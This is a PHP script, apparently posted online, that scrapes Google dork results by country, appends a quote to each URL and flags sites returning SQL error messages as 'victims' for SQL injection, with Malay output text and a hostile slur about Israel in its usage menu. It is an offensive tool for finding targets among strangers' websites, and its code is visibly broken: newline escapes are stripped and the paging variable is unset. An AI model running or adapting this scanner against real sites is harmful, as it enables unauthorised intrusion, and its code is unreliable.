SQLi scanner by country

1. <?php
2.    
3.    
4.     set_time_limit(0);
5.    
6.     $vuln = 0;
7.     $not_vuln = 0;
8.     $total = 0;
9.    
10.     $country = array('AF','AL','DZ','AS','AD','AO','AI','aku','AG','AR','AM','AW','AU',
11.                     'AT','AZ','BS','BH','BD','BB','BY','BE','BZ','BJ','BM','BT','BO','BA','BW','BV','BR','IO','BN','BG','BF','BI',
12.                     'KH','CM','CA','CV','KY','CF','TD','CL','CN','CX','CC','CO','KM','CG','CD','CK','CR','CI','HR','CY','CZ','DK',
13.                     'DJ','DM','DO','TL','EC','EG','SV','GQ','ER','EE','ET','FK','FO','FJ','FI','FR','GF','PF','TF','GA','GM','GE',
14.                     'DE','GH','GI','GR','GL','GD','GP','GU','GT','GN','GW','GY','HT','HM','HN','HK','HU','IS','IN','ID','IQ','IE',
15.                     'IL','IT','JM','JP','JO','KZ','KE','KI','KW','KG','LA','LV','LB','LS','LR','LY','LI','LT','LU','MO','MK','MG',
16.                     'MW','MY','MV','ML','MT','MH','MQ','MR','MU','YT','MX','FM','MD','MC','MN','MS','MA','MZ','NA','NR','NP','NL',
17.                     'AN','NC','NZ','NI','NE','NG','NU','NF','MP','NO','OM','PK','PW','PS','PA','PG','PY','PE','PH','PN','PL','PT',
18.                     'PR','QA','RE','RO','RU','RW','KN','LC','VC','WS','SM','ST','SA','SN','CS','SC','SL','SG','SK','SI','SB','SO',
19.                     'ZA','GS','KR','ES','LK','SH','PM','SR','SJ','SZ','SE','CH','TW','TJ','TZ','TH','TG','TK','TO','TT','TN','TR',
20.                     'TM','TC','TV','UG','UA','AE','GB','US','UM','UY','UZ','VU','VA','VE','VN','VG','VI','WF','EH','YE','ZM','ZW');
21.    
22.     $bug = array(
23.         'You have an error in your SQL','Division by zero in',
24.         'supplied argument is not a valid MySQL result resource in',
25.         'Call to a member function','Microsoft JET Database',
26.         'ODBC Microsoft Access Driver',
27.         'Microsoft OLE DB Provider for SQL Server',
28.         'Unclosed quotation mark',
29.         'Microsoft OLE DB Provider for Oracle',
30.         'Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect',
31.         'Incorrect syntax near'
32.     );
33.    
34.     if(!$argv[1]) {
35.         print "[%] Usage: $argv[0] <dork> <country>n";
36.         print "[%] Example : $argv[0] inurl:news.php?id= 3nn";        
37.         print "Country";
38.         print "t1 - All Searchn";
39.         print "t2 - Search in Malaysia Onlyn";
40.         print "t3 - Search in F*** Israel n";
41.         exit;
42.     }
43.    
44.     if (!$argv[2] or !(in_array($argv[2], $country))) {
45.         $goo = "http://www.google.com/search?q=$argv[1]&num=100&hl=en&as_qdr=all&start=$i&sa=N";
46.     } else {
47.         foreach ($country as $i) {
48.             if ($argv[2] == $i)
49.                 $goo = "http://www.google.com/search?q=$argv[1]&num=100&hl=en&as_qdr=all&start=$i&sa=N&cr=country$i";
50.         }
51.     }
53.     for($i = 0; $i <= 900; $i += 100) {
54.         $fp = @file_get_contents($goo);
55.         @preg_match_all("/<h3 class=(.*?)><a href="(.*?)" class=(.*?)>/", $fp, $links);
56.         $url[] = $links[2];
57.     }
58.    
59.     print "[@] Pencarian dimulakan...n";
60.     print "[@] Sekarang mencari Vulnerablen";
61.     foreach($url as $key) {
62.         foreach($key as $value) {
63.             $fp = @file_get_contents($value."'");
64.             foreach($bug as $error) {
65.                 if(@preg_match("/$error/", $fp)) {
66.                     print "[#] Manggsa >> $value'n";
67.                     $vuln++;
68.                 } else {
69.                     $not_vuln++;
70.                 }
71.                 $total++;
72.             }
73.         }
74.     }
75.    
76.     print "[@] Scanning Selesain";
77.     print "[%] Keputusann";
78.     print "[-] JUMLAH Vulnerable: $vulnn";
79.     print "[-] JUMLAH Bukan Vulnerable : $not_vulnn";
80.     print "[-] Jumlah Website scanned : $totaln";
81. ?>